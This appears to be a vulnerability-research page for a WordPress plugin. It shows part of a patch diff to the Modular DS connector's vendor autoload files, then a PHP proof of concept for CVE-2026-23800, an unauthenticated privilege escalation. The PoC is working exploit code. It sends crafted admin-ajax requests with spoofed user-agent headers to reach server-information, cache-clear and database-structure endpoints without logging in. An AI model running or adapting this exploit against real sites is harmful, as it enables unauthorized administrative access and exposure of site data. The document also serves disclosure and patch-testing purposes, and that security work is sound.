-        'be46ff9416c6039edf2c9e9d0f073bc7' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/bootstrap.php',
-        'cd924b8b8867bdf5cb30ea3d1fda7877' => __DIR__ . '/..' . '/symfony/var-dumper/Resources/functions/dump.php',
-        '96e6be4dee482c433db35007e272ccb1' => __DIR__ . '/..' . '/symfony/polyfill-intl-grapheme/bootstrap.php',
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-        '5b10ea17a66c57c2dec9163991a14bfe' => __DIR__ . '/..' . '/symfony/polyfill-php81/bootstrap.php',
-        'e9263394afb0f5bb487acaa8ed5a379c' => __DIR__ . '/..' . '/illuminate/events/functions.php',
-        '2159037f38ede778c62d6f26243fd889' => __DIR__ . '/..' . '/opis/closure/functions.php',
-        '96012c69e36abd148dd6e21fe7da2fca' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php',
-        'dcf98500ad62a9796e6d807dd200c4ad' => __DIR__ . '/..' . '/ramsey/uuid/src/functions.php',
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-        '39aca1ab5f5b45f7014527f1ffae03c8' => __DIR__ . '/..' . '/guzzlehttp/guzzle/src/functions_include.php',
+        'be0e863a0b7d410051e3679684b89d05' => __DIR__ . '/..' . '/symfony/polyfill-php80/bootstrap.php',
+        'cdccba37285717201be0cda22130b7c1' => __DIR__ . '/..' . '/symfony/polyfill-mbstring/bootstrap.php',
+        '4da8a5f965edcd26473fcbf2be82d7d7' => __DIR__ . '/..' . '/symfony/deprecation-contracts/function.php',
+        '5d7599fb41d4880e3bb858d832901e9a' => __DIR__ . '/..' . '/illuminate/collections/helpers.php',
+        '91ee1bbb29b3989967f6f8639a6d635d' => __DIR__ . '/..' . '/symfony/translation/Resources/functions.php',
+        'b72b50162266450392ddd5c515a75818' => __DIR__ . '/..' . '/illuminate/support/helpers.php',
+        '9f49441cfe0691e56c9c67bd097c4350' => __DIR__ . '/..' . '/symfony/polyfill-ctype/bootstrap.php',
+        '2754c0fa2f40527b67501543ab0dae51' => __DIR__ . '/..' . '/symfony/polyfill-php73/bootstrap.php',
+        '67396cf9772d27504ccab5def06d1e52' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/bootstrap.php',
+        '49299b7cf704dda84b41286413c4d7e4' => __DIR__ . '/..' . '/symfony/var-dumper/Resources/functions/dump.php',
+        '36a37457274e471b69dac0ebf51b90b3' => __DIR__ . '/..' . '/symfony/polyfill-intl-grapheme/bootstrap.php',
+        'e121a84a0c75bdd4c6e143812fa796a1' => __DIR__ . '/..' . '/symfony/string/Resources/functions.php',
+        'f758949f401dc2a1f6a702b8afe6dfe4' => __DIR__ . '/..' . '/symfony/polyfill-intl-idn/bootstrap.php',
+        '4b27ba2df9dd92700018e46af777f34f' => __DIR__ . '/..' . '/symfony/polyfill-php81/bootstrap.php',
+        '5004fdd59b9e9307e6cd434a40d345f8' => __DIR__ . '/..' . '/illuminate/events/functions.php',
+        '92149af1b8cbd5859e99da0ff318c72f' => __DIR__ . '/..' . '/opis/closure/functions.php',
+        '929e580c79e3d98067c7165de1418f14' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php',
+        '2720919b2893441fad9f879d73593754' => __DIR__ . '/..' . '/ramsey/uuid/src/functions.php',
+        'c0255d9fc9194fa59c7865314fa4fccd' => __DIR__ . '/..' . '/ares/framework/src/helpers.php',
+        'abffc1041942c7350c813eb59081cf24' => __DIR__ . '/..' . '/ares/framework/illuminate/Foundation/helpers.php',
+        '7cb02eee968935cda8344cc3dbfa9620' => __DIR__ . '/..' . '/guzzlehttp/guzzle/src/functions_include.php',
     );

     public static $prefixLengthsPsr4 = array (
@@ -2671,7 +2671,6 @@
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         'Modular\Connector\Http\Controllers\WooCommerceController' => __DIR__ . '/../..' . '/src/app/Http/Controllers/WooCommerceController.php',
         'Modular\Connector\Http\Kernel' => __DIR__ . '/../..' . '/src/app/Http/Kernel.php',
-        'Modular\Connector\Http\Middleware\Authenticate' => __DIR__ . '/../..' . '/src/app/Http/Middleware/Authenticate.php',
         'Modular\Connector\Http\Middleware\AuthenticateLoopback' => __DIR__ . '/../..' . '/src/app/Http/Middleware/AuthenticateLoopback.php',
         'Modular\Connector\Jobs\ConfigureDriversJob' => __DIR__ . '/../..' . '/src/app/Jobs/ConfigureDriversJob.php',
         'Modular\Connector\Jobs\Health\ManagerHealthDataJob' => __DIR__ . '/../..' . '/src/app/Jobs/Health/ManagerHealthDataJob.php',
--- a/modular-connector/vendor/composer/installed.php
+++ b/modular-connector/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'modular/connector',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '31b71716c4e10fe87dce8f18e026c33edf345468',
+        'reference' => 'ff508e7a68350177872cefc7c0cf72cab74fe5a1',
         'type' => 'wordpres-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'ares/framework' => array(
-            'pretty_version' => '3.6.8',
-            'version' => '3.6.8.0',
-            'reference' => '94e71ee8ba4b29ab41bc03485533a08bf7b82e21',
+            'pretty_version' => '3.6.17',
+            'version' => '3.6.17.0',
+            'reference' => 'a912d44484836fec6ba90420f2bf2efa67084ec6',
             'type' => 'library',
             'install_path' => __DIR__ . '/../ares/framework',
             'aliases' => array(),
@@ -301,7 +301,7 @@
         'modular/connector' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '31b71716c4e10fe87dce8f18e026c33edf345468',
+            'reference' => 'ff508e7a68350177872cefc7c0cf72cab74fe5a1',
             'type' => 'wordpres-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/modular-connector/vendor/scoper-autoload.php
+++ b/modular-connector/vendor/scoper-autoload.php
@@ -14,7 +14,7 @@
     // Restore the backup and ensure the excluded files are properly marked as loaded
     $GLOBALS['__composer_autoload_files'] = array_merge(
         $existingComposerAutoloadFiles,
-        array_fill_keys(['d7477911cd049bbd22fc06886adcd76a', '9eaa6b0f3f04e58e17ae5ecb754ea313', '96e6be4dee482c433db35007e272ccb1', 'acbe0d033c55cd0a032b415e08d14f4c', '6595570c01f6b61275f965dd5f61dc9e', 'b48cbeb76a71e226a23fa64ac2b94dc6', 'be46ff9416c6039edf2c9e9d0f073bc7', '36dfd6ed9dd74e8062aa61f09caf8554', '57776b6b937d151aa09700e58bc43ff7', '5928a00fa978807cf85d90ec3f4b0147', 'da3333cb928bd72afb37c8655e4b0dc4', '3be3930930d4833e9170bb96a98017ed', '5b10ea17a66c57c2dec9163991a14bfe', 'b178954ba4692b8876c08a4a97e6ce23', '28099935d0ea91a1b5e09408e356eacb', 'c5e5dfa7f2077b89dbc43523332b50aa', '674e404d8857dd99db32bc218bb5643a', '83cc8b953df9a6f7e51f674d84d57730', '9250916e8af80e0d1bb31401fd2e15a7', '99b27172349c9ec3abea78f62e2938bb', 'a875add15ea9a7df1a6c0c26cc9e4590', '1cbb53d50065225a14c2360be2ccbf6f', '54b9ab13bc86d8251a04a939888e357e', 'a89966141ddd51b9b7e868bc3b2f9bb0', '7bdb062931f6e7102434c3ad28423eb6', 'f49032536fdd06afd9df7191c3f21453', '18e965175c6bcd96deba6bc791a44373', '51421aa3e5e8003b70a289762d146a2a', '7edcabe1b67fbb38f4972a722bbbb429', '7b0b5d7b98f96ad751222ae5cc98cfcb', 'd1fb64fd99fc22e28e29a95cc0ea533a'], true)
+        array_fill_keys(['9f49441cfe0691e56c9c67bd097c4350', '9eaa6b0f3f04e58e17ae5ecb754ea313', '36a37457274e471b69dac0ebf51b90b3', 'acbe0d033c55cd0a032b415e08d14f4c', 'f758949f401dc2a1f6a702b8afe6dfe4', 'b48cbeb76a71e226a23fa64ac2b94dc6', '67396cf9772d27504ccab5def06d1e52', '36dfd6ed9dd74e8062aa61f09caf8554', 'cdccba37285717201be0cda22130b7c1', '5928a00fa978807cf85d90ec3f4b0147', '2754c0fa2f40527b67501543ab0dae51', 'be0e863a0b7d410051e3679684b89d05', '4b27ba2df9dd92700018e46af777f34f', 'b178954ba4692b8876c08a4a97e6ce23', '28099935d0ea91a1b5e09408e356eacb', 'c5e5dfa7f2077b89dbc43523332b50aa', '674e404d8857dd99db32bc218bb5643a', '83cc8b953df9a6f7e51f674d84d57730', '9250916e8af80e0d1bb31401fd2e15a7', '99b27172349c9ec3abea78f62e2938bb', 'a875add15ea9a7df1a6c0c26cc9e4590', '1cbb53d50065225a14c2360be2ccbf6f', '54b9ab13bc86d8251a04a939888e357e', 'a89966141ddd51b9b7e868bc3b2f9bb0', '7bdb062931f6e7102434c3ad28423eb6', 'f49032536fdd06afd9df7191c3f21453', '18e965175c6bcd96deba6bc791a44373', '51421aa3e5e8003b70a289762d146a2a', '7edcabe1b67fbb38f4972a722bbbb429', '7b0b5d7b98f96ad751222ae5cc98cfcb', 'd1fb64fd99fc22e28e29a95cc0ea533a'], true)
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     return $loader;

Proof of Concept (PHP)

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PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
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// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
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// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-23800 - Modular DS 2.5.2 - Unauthenticated Privilege Escalation

<?php

$target_url = "http://vulnerable-wordpress-site.com"; // CHANGE THIS

// Vulnerable endpoint patterns
$endpoints = [
    '/wp-admin/admin-ajax.php?action=modular-connector&type=request&origin=mo&mrid=1',
    '/wp-admin/admin-ajax.php?action=modular-connector&type=request&origin=mo&mrid=2'
];

foreach ($endpoints as $endpoint) {
    $url = $target_url . $endpoint;
    
    echo "[+] Testing endpoint: $urln";
    
    // Initialize cURL session
    $ch = curl_init();
    
    // Set cURL options
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    // Set headers to mimic legitimate request
    $headers = [
        'User-Agent: ModularConnector/1.0 (Linux)',
        'Accept: application/json',
        'Content-Type: application/json'
    ];
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    // Execute request
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    // Check response
    if ($http_code == 200) {
        echo "[!] SUCCESS: Endpoint accessible without authenticationn";
        echo "[!] Response: " . substr($response, 0, 500) . "nn";
        
        // Try to identify which endpoint we hit
        $json_response = json_decode($response, true);
        if ($json_response) {
            if (isset($json_response['information'])) {
                echo "[!] DETECTED: Server information endpoint (privileged data)n";
            }
            if (isset($json_response['tree'])) {
                echo "[!] DETECTED: Database tree endpoint (sensitive structure)n";
            }
        }
    } else {
        echo "[-] Failed with HTTP code: $http_coden";
    }
    
    curl_close($ch);
    echo "n";
}

// Test specific administrative actions
$admin_actions = [
    'server-information' => 'Retrieves server configuration and sensitive data',
    'cache/clear' => 'Clears site cache (administrative action)',
    'tree/database' => 'Accesses database structure (privileged information)'
];

echo "[+] Testing specific administrative endpoints:nn";

foreach ($admin_actions as $action => $description) {
    $test_url = $target_url . "/wp-admin/admin-ajax.php?action=modular-connector&type=request&origin=mo&mrid=100&path=/api/modular-connector/" . $action;
    
    echo "[*] Testing: $actionn";
    echo "[*] Description: $descriptionn";
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $test_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_HTTPHEADER => [
            'User-Agent: ModularConnector/1.0 (Linux)',
            'Accept: application/json'
        ]
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if ($http_code == 200) {
        echo "[!] VULNERABLE: Unauthenticated access to $action confirmedn";
        echo "[!] This indicates successful privilege escalationn";
    } else {
        echo "[-] Protected or not vulnerable (HTTP $http_code)n";
    }
    
    curl_close($ch);
    echo "n";
}

echo "[+] Proof of Concept complete. If any endpoints returned 200 responses,n";
echo "[+] the site is vulnerable to CVE-2026-23800 privilege escalation.n";

?>

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